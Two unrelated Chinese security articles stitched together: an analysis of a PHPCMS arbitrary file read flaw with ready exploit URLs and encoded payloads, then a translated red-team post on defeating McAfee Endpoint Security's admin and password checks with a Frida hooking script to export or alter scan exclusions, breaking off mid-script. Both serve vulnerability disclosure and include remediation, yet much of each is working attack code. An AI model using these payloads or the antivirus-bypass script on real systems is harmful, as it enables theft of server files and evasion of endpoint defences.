（1）首先从头到尾判断$f参数中是否有php等服务端脚本文件，再看看是否带有”:\”外链文件，是否”..”目录跳转，满足其中一个条件就返回True。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
满足后执行show message抛出错误信息，虽然没有exit结束程序，但是咱们的file_down是在二级if分支的else里面的，无法执行到目标函数。
（2）接着$f的值赋给了$fileurl参数，再做了一次内容判断。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) ) showmessage(L('url_error'));
（3）将$s与$fileurl拼接起来，而$fileurl就是前面可控的$f：
if($m) $fileurl = trim($s).trim($fileurl);
（4）处理远程文件，如果是外链文件的话直接跳转到目标地址。
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
}
接着走到else分支里面的str_replace，将$fileurl参数中的所有”>”、”<“参数替换为空值，这也是出现问题的函数，前面的后缀/目录跳转判断均可以绕过，可以发现需要控制的参数有
$s、$f，这俩参数在init函数中传进来的：
/phpcms/modules/content/down.php Line 76-84
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');
这一块其实是down->init()的内容，将参数传到$a_k并进行sys_auth加密，然后传给了下面的download函数，这里的$a_k已经进行了encode加密操作：
init函数与download函数中的$a_k变量保持加／解密钥的一致性：
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
…
…
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
密钥key：
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
再往下跟进：
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
变量s和f来源于变量a_k带入parse_str解析，注意a_k在down->init()中经过safe_replace处理过一次，经过sys_auth解密，key无法获取，所以需要让系统来为我们生成加密串a_k：
/phpcms/modules/content/down.php Line 11-18
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
$a_k = safe_replace($a_k);
parse_str($a_k);
可以看出这里跟上次的sql注入点一样，获取了a_k进行了一次DECODE，那么咱们就需要一个加密好的key，最好的办法还是采用attachments模块的swfupload_json的加密cookie方法(跟之前的注入payload加密一个套路)，这也是采用了phpcms功能的特性吧：
/phpcms/modules/attachment/attachments.php LINE 239-253
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
注意了这里也有一次safe_replace，加密函数在：param::set_cookie('att_json',$json_str);，跟进一下：
/phpcms/libs/classes/param.class.php LINE 86-99
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$httponly = $var=='userid'||$var=='auth'?true:false;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
}
sys_auth($value,
'ENCODE')即是利用了phpcms内置的加密函数进行数据加密，结果正好是咱们需要的，再看看attachments.php中是否有相关权限的验证：
构造方法：
/phpcms/modules/attachment/attachments.php LINE 10-24
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
从这里的userid来看是需要普通用户的权限
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
但是也可以传进加密后的userid_flash参数：sys_auth($_POST['userid_flash'],'DECODE'));
那么这里有两种利用方案，一种是直接通过phpcms会员中心登录获取的cookie中的userid做权限判断，还有一种方式是通过现成的经过sys_auth加密后的字符串去赋值给当前的userid，这里找到了一处，是利用了wap模块的构造方法：
/phpcms/modules/wap/index.php
class index {
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
set_cookie跟进去就是调用sys_auth 加密函数来加密外部获取的sited值，将这里的siteid值再带入上面的userid_flash即可。
接着再返回去看这两个可控参数：s=$s、f=$f，$s带需要读取的目标文件，$f带自己构造的绕过规则检测值：
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE’, $pc_auth_key));
经过反复测试，可以采用如下参数，这里以读取down.php文件源码为例：
s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
解释一下这里的参数，s参数带的是要读取的down.php的源码文件，最后的p是由f参数的第一个字符p拼接过去的：
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) ) showmessage(L('url_error'));
f=p%3%25252%2*70C ：
f参数是绕过正则匹配检查的关键，最后咱们要构造这样的形式：./phpcms/modules/content/down.php<，这样就能绕过所有匹配检测在最后的str_replace将”<“给替换为空，紧接着就能带入读取文件了。
再看看分析过程中遇到的phpcms安全函数safe_replace:
/phpcms/libs/functions/global.func.php
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\','',$string);
return $string;
}
从过滤内容来看直接带”<“是不行的，需要构造参数，先来看看经过了几次过滤：
第一次参数得经过attachments->swfupload_json函数进行param::set_cookie加密:
最后输出的f=p%3C 就是咱们想要的”<“字符。
**漏洞利用**
**方案一：**
登录普通用户，访问链接：
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
获取分配的att_json
将这段json值带入到down类的init函数中去：
http://localhost/index.php?m=content&c=down&a=init&a_k=013ceMuDOmbKROPvvdV0SvY95fzhHTfURBCK4CSbrnbVp0HQOGXTxiHdRp2jM-onG9vE0g5SKVcO_ASqdLoOSsBvN7nFFopz3oZSTo2P7b6N_UB037kehz2lj12lFGtTsPETp-a0mAHXgyjn-tN7cw4nZdk10Mr2g5NM_x215AeqpOF6_mIF7NsXvWiZl35EmQ
点击下载后即可下载目标文件：
**方案二：**
在未登录的情况下访问：
http://localhost/index.php?m=wap&c=index&a=init&siteid=1
获取当前的siteid
再访问:
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
POST_DATA:userid_flash=14e0uml6m504Lbwsd0mKpCe0EocnqxTnbfm4PPLW
**修复方案**
官方以及出了最新的补丁，补丁分析如下：
针对PHPCMS最新版本的特性，主要是因为down类中download方法在进入file_down函数前有如下代码：
$fileurl = str_replace(array('<','>'), '',$fileurl);
这样在前面就可以将”<“或”>”带入到download中的f参数中绕过正则匹配，所以修复方式就是可以在进行了str_replace后再正则匹配一下$fileurl参数的内容最后放入file_down函数中执行：
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([sS]*?)([x81-xfe][x40-xfe])([sS]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) || strpos($fileurl, ":\")!==FALSE || strpos($fileurl,'..')!==FALSE) {
showmessage(L('url_error'));
}
file_down($fileurl, $filename);
**1\. 升级至V9.6.2官方最新版：**
GBK：<http://download.phpcms.cn/v9/9.6/phpcms_v9.6.2_GBK.zip>
UTF-8：[http://download.phpcms.cn/v9/9.6/phpcms_v9.6.2_UTF8.zip](http://www.phpcms.cn/index.php?m=content&c=down&a_k=1bae_myd-iB-LgZI_xMHsRVFMDRWusFe7iZNKlYE7ShJvbK6L3Yc-DhDmtEeFrwtwjim-eW_IPCiPvbufSKRxqIX85ga2Rx9_zsv85vpu2laDb7jVJN8YbLFfUMfjt94lTDRTitjum_sqfzBJEbi-q9IxVN9xm1N_A)
**升级方法**
**方法一：** 在线升级 步骤：登录后台-扩展-在线升级
**方法二：** 手动升级（有二次开发并有改动默认程序）
[**[GBK补丁列表]**](http://download.phpcms.cn/v9/9.0/patch/gbk/)
[**[UTF-8补丁列表]**](http://download.phpcms.cn/v9/9.0/patch/utf8/)
**2\. 个人修复建议（适用于有二次开发并改动默认程序的网站管理者）：**
针对PHPCMS最新版本的特性，主要是因为down类中download方法在进入file_down函数前有如下代码：
$fileurl = str_replace(array('<','>'), '',$fileurl);
这样在前面就可以将”<“或”>”带入到download中的f参数中绕过正则匹配，所以修复方式就是可以在进行了str_replace后再正则匹配一下$fileurl参数的内容最后放入file_down函数中执行：
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([sS]*?)([x81-xfe][x40-xfe])([sS]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) || strpos($fileurl, ":\")!==FALSE || strpos($fileurl,'..')!==FALSE) {
showmessage(L('url_error'));
}
file_down($fileurl, $filename);
**总结**
其实漏洞的核心在于外部参数可以被引入”<“或”>”来污染正常的参数来绕过代码里面的正则匹配，然后在执行文件读取之前被意外的清理了外部带入的污染参数”<“或”>”，漏洞利用得也是如此恰到好处，这也说明了在开发中进行参数过滤的同时是否将恶意参数完全阻挡在了敏感函数执行之前，使之进入敏感函数的参数完全是合法的，这也是开发过程中需要考虑的。 | 社区文章 |
文章出处[Bypass McAfee with McAfee](https://github.com/dmaasland/mcfridafee)
## 0x00 Introduction
我实际上并没有计划撰写此 blog文章。并不是因为文章本身设计到什么密码，而是因为我本人超级懒，这文章还是因为
[@fsdominguez](https://twitter.com/fsdominguez) 和
[_dirkjan](https://twitter.com/_dirkjan) 逼迫我写的。
这文章的内容写的是关于我在进行红队任务期间是如何使用 `McAfee` 工具绕过 `McAfee Endpoint Security`。
## 0x01 McAfee
在以前，每当在任务中遇到 `McAfee Virus Scan
Enterprise(VSE)`时，我们都会暗自窃喜。因为之前通过注册表查询，可以获取到管理员所设置的排除项。
但是在这次任务中，从 **眉开眼笑** 到 **愁眉不展** 。这是因为什么呢，是因为它们现在使用的是 `McAfee Endpoint
Security`。之所以弃用了 `VSE`，是因为 `McAfee` 中有的人觉得最好不要在任何人都能访问到的地方以明文形式存储类似排除项等类似的信息。
## 0x02 ESConfigTool
通过资料查询验证，`McAfee Endpoint Security` 会附带一个名为 `ESConfigTool`
的程序。该程序可用于导入和导出配置文件。它的用法在 [这里](https://docs.mcafee.com/bundle/endpoint-security-10.6.0-installation-guide-unmanaged-windows/page/GUID-31F0BE99-2186-4C4E-B0E3-96F3FED8DF49.html) 有描述。
事实证明，想要从 `McAfee Endpoint Security` 获取配置（排除项等信息），你只需要：
* 解锁密码
* 管理权限
但是我们都没有，我们下载一个 `McAfee Endpoint Security` 的 `Evaluation` 版本进行测试，看看有什么可以利用的
## 0x03 Reversing
现在，事情变得有些棘手了。我现在的状态大概就像是一个擅长逆向工程的醉酒的猴子
==》碰运气。因此，我们还是从头开始，看看是否可以利用此工具。首先是创建了三个排除项。
* C:\Windows\Temp\
* *mimikatz.exe
* C:\TotallyLegit\
此外，我还启用了密码保护设置。密码为：`starwars`
此时，我们打开一个管理命令提示符，查看是否可以通过 `ESConfigTool`获取其配置信息
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock starwars /plaintext
Command executed successfully. Please refer to Endpoint Security logs for details
C:\Windows\system32>
让我们打开 `XML`，看看其中是否包含所创建的排除项：
<EXCLUSION_ITEMS>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>C:\Windows\Temp\</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>**\*mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
<EXCLUSION_ITEM>
<EXCLUSION_BY_NAME_OR_LOCATION>C:\TotallyLegit\</EXCLUSION_BY_NAME_OR_LOCATION>
<EXCLUSION_FILE_TYPE />
<EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE>
<EXCLUSION_TYPE>3</EXCLUSION_TYPE>
<EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS>
<EXCLUSION_ON_READ>1</EXCLUSION_ON_READ>
<EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE>
<EXCLUSION_SOURCE>0</EXCLUSION_SOURCE>
</EXCLUSION_ITEM>
</EXCLUSION_ITEMS>
嘤嘤嘤！在有`管理员权限`及`密码`的情况下，它是可以完整获取得配置信息。我们附加一个调试器，看看它是如何工作的。
## 0x04 Self-defense
通常，附加调试器只是打开调试器，选择二进制程序文件以及所需命令参数。但是，由于我们正在处理安全解决方案，因此会有一些其他的障碍，比如：McAfee
的大多数组件都会收到其产品的 `“Self-defense”` 功能的保护。如果尝试载入Debug，会提示 `“Debugging stop”`，并且会在
`Self-defense` 日志有所提示。
12/10/2019 12:47:09 mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
12/10/2019 12:47:09 mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
如今，通过反复试验，我们发现 `"Super 1337, z3r0 d4y, APT-style nation state"`
的技术可以绕过自我防御机制。你准备好了吗？
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>mkdir \temp
C:\Users\admin>cd \temp
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll" .
1 file(s) copied.
C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll" .
1 file(s) copied.
C:\temp>
黑人感叹号！！！我们此时甚至不需要管理员权限，就可以进行复制操作，完成接下来的调试过程。这无疑是一个巨大的成功，重新添加调试器，就可以等待狂欢：
现在怎么办？？
## 0x05 Bypassing the password check
往下走，看看带入不正确的密码会发生什么。也许可以为我们提供一些搜索字符串。
C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock startrek /plaintext
There were some errors while executing command. Please refer to Endpoint Security logs for details
C:\Windows\system32>
嗯，这个提示很简单。但是 `McAfee 日志文件`可以提供更多的信息 :
10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed
然后将上面获取到的字符串在调试器中进行搜索，看看是否可以找到发生此错误发生的位置。
很好，如果我们将其断点并再次运行，它将达到该断点。然后，如果我们查看在该断点之前发生的情况，我们可以看到对名为 `"BLInvokeMethod"`
的函数今夕了功能调用，然后进行本例中为执行的跳转。
在这一点上，我们需要选择下一步是怎么走。我们可以
* 深入研究密码检查功能，了解其工作原理，然后尝试破解绕过。
* 让密码保护功能运行后，修改其返回值。
显然，我很懒，所以选择了第二项。当输入错误的密码时，密码检查功能会在 `RAX 寄存器`中放置一个错误代码：
如果提供了正确的密码，则在 `RAX 寄存器`的值为 0。
那么，如果我们提供了不正确的密码，中断了密码检查功能，并将 `RAX 寄存器`更改为 **0** ，会发生什么呢？我们试一试：
木得办法！
原来，密码正确与否的检查工作我由工具本身完成的。解密或导出配置并不是真正需要这个密码、这是一个失败的尝试。one to go.
## 0x06 Bypassing the admin check
虽然输入错误的密码会给你一种清晰的错误提示信息，但是在没有管理员特权的情况下运行该工具，只会输出 help 信息。
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\user>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\temp\Export.xml /module TP /unlock starwars /plaintext
Description:
Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.
USAGE:
ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]
ESConfigTool.exe /import <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/policyname <name> ]
ESConfigTool.exe /help
C:\Users\user>
日志中也没有任何的内容。
我们如何找出管理员检查的内容？同理，我们以普通用于身份运行调试器，看看会发生什么。原来它是调用了一个函数，对返回值进行比较，如果返回码为 **0**
，则调用 `exit`。
如果你遵循此功能，则程序最终将会调用 [AllocateAndInitializeSid](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-allocateandinitializesid)。同上面绕过密码检查的方案，修改返回码。
深入研究发现，返回值是在这里进行检查的：
尽管这次返回值必须为 **0** 以外的 **任何值**
boom，它可以继续进行！！
现在，我们重新尝试，在没有管理员权限，且不知道密码的情况导出 `McAfee Endpoint Security` 的配置信息。
## 0x07 Doing it automatically
到此，结果很酷，但是每次手动进行调试、更改等操作都是很痛苦的。幸运的是，我们有 [Frida](https://www.frida.re/) 。对于那些熟悉
Frida 的人，无需掌握 JavaScript 知识以外任何技能，就可以帮你执行所有很酷的操作，例如：挂钩函数和更改值。
但是我们如何将 Frida 注入 `McaAfee` ？简单，我们使用 [frida-server](https://github.com/frida/frida/releases/download/12.7.9/frida-server-12.7.9-windows-x86_64.exe.xz)。只需要在运行 `McAfee` 的机器上启动它，然后使用 `Python`
进行连接即可：
### 7.1、McAfee 机器:
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\admin>cd \temp
C:\temp>frida-server-12.7.9-windows-x86_64.exe
### Python 机器:
Python 3.6.7 (default, Oct 22 2018, 11:32:17)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida
>>> devmgr = frida.get_device_manager()
>>> devmgr.add_remote_device('192.168.31.150')
Device(id="[email protected]", name="192.168.31.150", type='remote')
>>> rdev = frida.get_device('[email protected]')
>>> args = [
... 'ESConfigTool.exe',
... '/export',
... 'frida-export.xml',
... '/module',
... 'ESP',
... '/unlock',
... 'startrek',
... '/plaintext'
... ]
>>> pid = rdev.spawn(args)
>>> session = rdev.attach(pid)
>>> session
Session(pid=11168)
我们已连接，可以看到 `ESConfigTool.exe` 显示正在运行！！！
现在，我们可以将 `JavaScript`代码注入到 `ESConfigTool` 进程中。
## 0x08 The Frida script
本文不会介绍如何创建此脚本，因为本文包含了足够多的信息，以下是完整的脚本
const configBase = Module.findBaseAddress('ESConfigTool.exe');
//const adminCheck = configBase.add(0x5240); //32
const adminCheck = configBase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
console.log('[-] Base address is:',configBase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);
Interceptor.attach(adminCheck, {
onEnter: function (args) {
console.log('[+] Hooked admin check function');
},
onLeave: function (retval) {
console.log('[+] Returning true for admin check');
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onEnter: function (args) {
console.log('[+] Hooked BLInvokeMethod function');
},
onLeave: function (retval) {
console.log('[+] Patching password check function');
retval.replace(0x0);
}
});
它确实完成了我们在调试器中手动执行的操作（更改返回值）。让我们注入上述脚本，查看是否起效：
>>> script = """
... const configBase = Module.findBaseAddress('ESConfigTool.exe');
... //const adminCheck = configBase.add(0x5240); //32
... const adminCheck = configBase.add(0x5f30); //64
... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
...
... console.log('[-] Base address is:',configBase);
... console.log('[-] Admin check is:',adminCheck);
... console.log('[-] BLInvokeMethod:',BLInvokeMethod);
...
... Interceptor.attach(adminCheck, {
... onEnter: function (args) {
... console.log('[+] Hooked admin check function');
... },
... onLeave: function (retval) {
... console.log('[+] Returning true for admin check');
... retval.replace(1);
... }
... });
...
... Interceptor.attach(BLInvokeMethod, {
... onEnter: function (args) {
... console.log('[+] Hooked BLInvokeMethod function');
... },
... onLeave: function (retval) {
... console.log('[+] Patching password check function');
... retval.replace(0x0);
... }
... });
...
... """
>>> session.create_script(script).load()
[-] Base address is: 0x7ff73ed30000
[-] Admin check is: 0x7ff73ed35f30
[-] BLInvokeMethod: 0x7ffa4d759730
>>> rdev.resume(pid)
>>> [+] Hooked admin check function
[+] Returning true for admin check
[+] Hooked BLInvokeMethod function
[+] Patching password check function
>>>
当然，它看起来像：
(我知道，我是以 “管理员”的用户身份去运行它的，但是它并没有绕过 UAC，所以它和普通用户权限是一样的)
## 0x09 Now what
我们终于找到了排除项的内容，知道了哪些程序是指定排除。由于它可以通过 `TCP` 进行连接工作，所以我们可以使用 `Cobalt Strike
Beacon` 在我们的红队任务中完成此任务。
及时我们在此文章中只讨论了导出 `McAfee`
配置信息，但值得一提的是，你也可以利用此方法，导入自己的配置文件。这意味着可以自己添加排除项，更改其他设置，甚至删掉密码保护。
这里有一个要注意的就是 `"/plaintext"`
参数，这个参数可能有点诡异，有时它其作用，有时又不起作用。也许不同的版本需要不同的功能偏移量，这个得自个儿研究，反正我没有这个烦恼。因为即使
`McAfee` 不提供带此参数的加密配置，你也可以将该加密配置导入你自己的版本中。
如何配置加密？这个以后再说。在 `McAfee PSIRT` 那解决问题之前，上述方法应该是属于私密的。
## 0x10 Remidiation
在谈论 `McAfee PSIRT` 时，他们在
[这里](https://kc.mcafee.com/corporate/index?page=content&id=SB10299)
发布了有关此问题的安全公告及修复程序。实际上我并没有测试过它是否完全修复了，因为我懒。
但是我想到了一件事情：如果他们在 `ESConfigTool` 中对其进行了修复，是否可以利用旧版本的工具作用于新版本的 `McAfee Endpoint
Protection` ？这个谁知道呢。如果你想玩的话，我这已上传了 Python 的 POC 脚本。
#!/usr/bin/env python
import frida
def get_script():
script = """
const configBase = Module.findBaseAddress('ESConfigTool.exe');
//const adminCheck = configBase.add(0x5240); //32
const adminCheck = configBase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
console.log('[-] Base address is:',configBase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);
